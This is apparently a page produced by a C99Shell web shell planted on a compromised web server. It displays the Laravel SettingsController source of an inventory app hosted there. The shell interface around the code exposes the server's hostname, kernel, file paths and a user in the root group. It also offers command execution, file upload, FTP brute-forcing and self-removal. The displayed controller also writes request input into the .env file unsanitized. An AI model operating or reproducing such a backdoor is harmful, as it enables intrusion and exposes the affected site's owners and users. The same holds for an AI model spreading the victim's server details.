!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.15 GB of 117.98 GB (24.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SettingsController.php (12.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Currency;
use 
App\Models\Server;
use 
App\Models\Setting;
use 
App\Models\PosSetting;
use 
App\Models\Client;
use 
App\Models\User;
use 
App\Models\Warehouse;
use 
App\Models\UserWarehouse;
use 
File;
use 
Illuminate\Support\Facades\Artisan;
use 
Illuminate\Http\Request;
use 
Intervention\Image\ImageManagerStatic as Image;

class 
SettingsController extends Controller
{


    
//-------------- Update  Settings ---------------\\

    
public function update(Request $request$id)
    {
        
$this->authorizeForUser($request->user('api'), 'update'Setting::class);

        
$setting Setting::findOrFail($id);
        
$currentAvatar $setting->logo;
        if (
$request->logo != $currentAvatar) {

            
$image $request->file('logo');
            
$path public_path() . '/images';
            
$filename rand(1111111199999999) . $image->getClientOriginalName();

            
$image_resize Image::make($image->getRealPath());
            
$image_resize->resize(8080);
            
$image_resize->save(public_path('/images/' $filename));

            
$userPhoto $path '/' $currentAvatar;
            if (
file_exists($userPhoto)) {
                if (
$setting->logo != 'logo-default.png') {
                    @
unlink($userPhoto);
                }
            }
        } else {
            
$filename $currentAvatar;
        }
        if (
$request['currency'] != 'null') {
            
$currency $request['currency'];
        } else {
            
$currency null;
        }

        if (
$request['client'] != 'null') {
            
$client $request['client'];
        } else {
            
$client null;
        }

        if (
$request['warehouse'] != 'null') {
            
$warehouse $request['warehouse'];
        } else {
            
$warehouse null;
        }

        if (
$request['default_language'] != 'null') {
            
$default_language $request['default_language'];
        } else {
            
$default_language 'en';
        }
        
Setting::whereId($id)->update([
            
'currency_id' => $currency,
            
'client_id' => $client,
            
'warehouse_id' => $warehouse,
            
'email' => $request['email'],
            
'default_language' =>  $default_language,
            
'CompanyName' => $request['CompanyName'],
            
'CompanyPhone' => $request['CompanyPhone'],
            
'CompanyAdress' => $request['CompanyAdress'],
            
'footer' => $request['footer'],
            
'developed_by' => $request['developed_by'],
            
'logo' => $filename,
        ]);

        return 
response()->json(['success' => true]);
    }

      
//-------------- Update  Payment Gateway ---------------\\

      
public function Update_payment_gateway(Request $request)
      {
          
$this->authorizeForUser($request->user('api'), 'update'Setting::class);

          if(
$request['deleted'] == 'true'){
            
$this->setEnvironmentValue([
                
'STRIPE_KEY' => '',
                
'STRIPE_SECRET' => '',
            ]);

        }else{
            
$this->setEnvironmentValue([
                
'STRIPE_KEY' => $request['stripe_key'] !== null?'"' $request['stripe_key'] . '"':'',
                
'STRIPE_SECRET' => $request['stripe_secret'] !== null?'"' $request['stripe_secret'] . '"':'"' env('STRIPE_SECRET') . '"',
            ]);
        }

            
Artisan::call('config:cache');
            
Artisan::call('config:clear');

        return 
response()->json(['success' => true]);

      }

       
//-------------- Update  sms_config ---------------\\

       
public function sms_config(Request $request)
       {
           
$this->authorizeForUser($request->user('api'), 'update'Setting::class);
 
           
             
$this->setEnvironmentValue([
                 
'TWILIO_SID' => $request['TWILIO_SID'] !== null?'"' $request['TWILIO_SID'] . '"':'"' env('TWILIO_SID') . '"',
                 
'TWILIO_TOKEN' => $request['TWILIO_TOKEN'] !== null?'"' $request['TWILIO_TOKEN'] . '"':'"' env('TWILIO_TOKEN') . '"',
                 
'TWILIO_FROM' => $request['TWILIO_FROM'] !== null?'"' $request['TWILIO_FROM'] . '"':'"' env('TWILIO_FROM') . '"',
             ]);
 
             
Artisan::call('config:cache');
             
Artisan::call('config:clear');
 
         return 
response()->json(['success' => true]);
 
       }

    
//-------------- Get_sms_config ---------------\\

    
public function get_sms_config(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'view'Setting::class);
        
Artisan::call('config:cache');
        
Artisan::call('config:clear');

        
$item['TWILIO_SID'] = env('TWILIO_SID');
        
$item['TWILIO_FROM'] = env('TWILIO_FROM');
        
$item['TWILIO_TOKEN'] = '';
        
$item['gateway'] = 'Twilio';

        return 
response()->json(['sms' => $item], 200);
    }
 

    
//-------------- Get Payment Gateway ---------------\\

    
public function Get_payment_gateway(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'view'Setting::class);
        
Artisan::call('config:cache');
        
Artisan::call('config:clear');

        
$item['stripe_key'] = env('STRIPE_KEY');
        
$item['stripe_secret'] = '';
        
$item['deleted'] = false;

        return 
response()->json(['gateway' => $item], 200);
    }

    
    
//-------------- Update  SMTP ---------------\\

    
public function updateSMTP(Request $request$id)
    {
        
$this->authorizeForUser($request->user('api'), 'update'Server::class);

        
Server::whereId($id)->update([
            
'host' => $request['host'],
            
'port' => $request['port'],
            
'username' => $request['username'],
            
'password' => $request['password'],
            
'encryption' => $request['encryption'],
        ]);

        return 
response()->json(['success' => true]);

    }


     
//-------------- Update Pos settings ---------------\\

     
public function update_pos_settings(Request $request$id)
     {
        
$this->authorizeForUser($request->user('api'), 'update'Setting::class);
 
        
request()->validate([
            
'note_customer' => 'required',
        ]);

        
PosSetting::whereId($id)->update([
             
'note_customer'  => $request['note_customer'],
             
'show_note'      => $request['show_note'],
             
'show_barcode'   => $request['show_barcode'],
             
'show_discount'  => $request['show_discount'],
             
'show_customer'  => $request['show_customer'],
             
'show_email'     => $request['show_email'],
             
'show_phone'     => $request['show_phone'],
             
'show_address'   => $request['show_address'],
         ]);
 
         return 
response()->json(['success' => true]);
 
     }


     
//-------------- Get Pos Settings ---------------\\

     
public function get_pos_Settings(Request $request)
     {
         
$this->authorizeForUser($request->user('api'), 'view'Setting::class);
 
         
$PosSetting PosSetting::where('deleted_at''='null)->first();

         return 
response()->json([
             
'pos_settings' => $PosSetting
            
], 200);
    
    }

    
//-------------- Get All Settings ---------------\\

    
public function getSettings(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'view'Setting::class);

        
$settings Setting::where('deleted_at''='null)->first();
        if (
$settings) {
            if (
$settings->currency_id) {
                if (
Currency::where('id'$settings->currency_id)->where('deleted_at''='null)->first()) {
                    
$item['currency_id'] = $settings->currency_id;
                } else {
                    
$item['currency_id'] = '';
                }
            } else {
                
$item['currency_id'] = '';
            }

            if (
$settings->client_id) {
                if (
Client::where('id'$settings->client_id)->where('deleted_at''='null)->first()) {
                    
$item['client_id'] = $settings->client_id;
                } else {
                    
$item['client_id'] = '';
                }
            } else {
                
$item['client_id'] = '';
            }

            if (
$settings->warehouse_id) {
                if (
Warehouse::where('id'$settings->warehouse_id)->where('deleted_at''='null)->first()) {
                    
$item['warehouse_id'] = $settings->warehouse_id;
                } else {
                    
$item['warehouse_id'] = '';
                }
            } else {
                
$item['warehouse_id'] = '';
            }

            
$item['id'] = $settings->id;
            
$item['email'] = $settings->email;
            
$item['CompanyName'] = $settings->CompanyName;
            
$item['CompanyPhone'] = $settings->CompanyPhone;
            
$item['CompanyAdress'] = $settings->CompanyAdress;
            
$item['logo'] = $settings->logo;
            
$item['footer'] = $settings->footer;
            
$item['developed_by'] = $settings->developed_by;
            
$item['default_language'] = $settings->default_language;

            
$Currencies Currency::where('deleted_at'null)->get(['id''name']);
            
$clients client::where('deleted_at''='null)->get(['id''name']);

            
//get warehouses assigned to user
            
$user_auth auth()->user();
            if(
$user_auth->is_all_warehouses){
                
$warehouses Warehouse::where('deleted_at''='null)->get(['id''name']);
            }else{
                
$warehouses_id UserWarehouse::where('user_id'$user_auth->id)->pluck('warehouse_id')->toArray();
                
$warehouses Warehouse::where('deleted_at''='null)->whereIn('id'$warehouses_id)->get(['id''name']);
            }

            return 
response()->json([
                
'settings' => $item ,
                
'currencies' => $Currencies,
                
'clients' => $clients 
                
'warehouses' => $warehouses
            
], 200);
        } else {
            return 
response()->json(['statut' => 'error'], 500);
        }
    }

    
//-------------- Get STMP ---------------\\

    
public function getSMTP(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'view'Server::class);

        
$server Server::where('deleted_at''='null)->first();

        if (
$server) {
            return 
response()->json(['server' => $server], 200);
        } else {
            return 
response()->json(['statut' => 'error'], 500);
        }
    }


    
//-------------- Clear_Cache ---------------\\

    
public function Clear_Cache(Request $request)
    {
        
Artisan::call('cache:clear');
        
Artisan::call('view:clear');
        
Artisan::call('route:clear');
    }

   
    
//-------------- Set Environment Value ---------------\\

    
public function setEnvironmentValue(array $values)
    {
        
$envFile app()->environmentFilePath();
        
$str file_get_contents($envFile);
        
$str .= "\r\n";
        if (
count($values) > 0) {
            foreach (
$values as $envKey => $envValue) {
    
                
$keyPosition strpos($str"$envKey=");
                
$endOfLinePosition strpos($str"\n"$keyPosition);
                
$oldLine substr($str$keyPosition$endOfLinePosition $keyPosition);
    
                if (
is_bool($keyPosition) && $keyPosition === false) {
                    
// variable doesnot exist
                    
$str .= "$envKey=$envValue";
                    
$str .= "\r\n";
                } else {
                    
// variable exist                    
                    
$str str_replace($oldLine"$envKey=$envValue"$str);
                }            
            }
        }
    
        
$str substr($str0, -1);
        if (!
file_put_contents($envFile$str)) {
            return 
false;
        }
    
        
app()->loadEnvironmentFrom($envFile);    
    
        return 
true;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--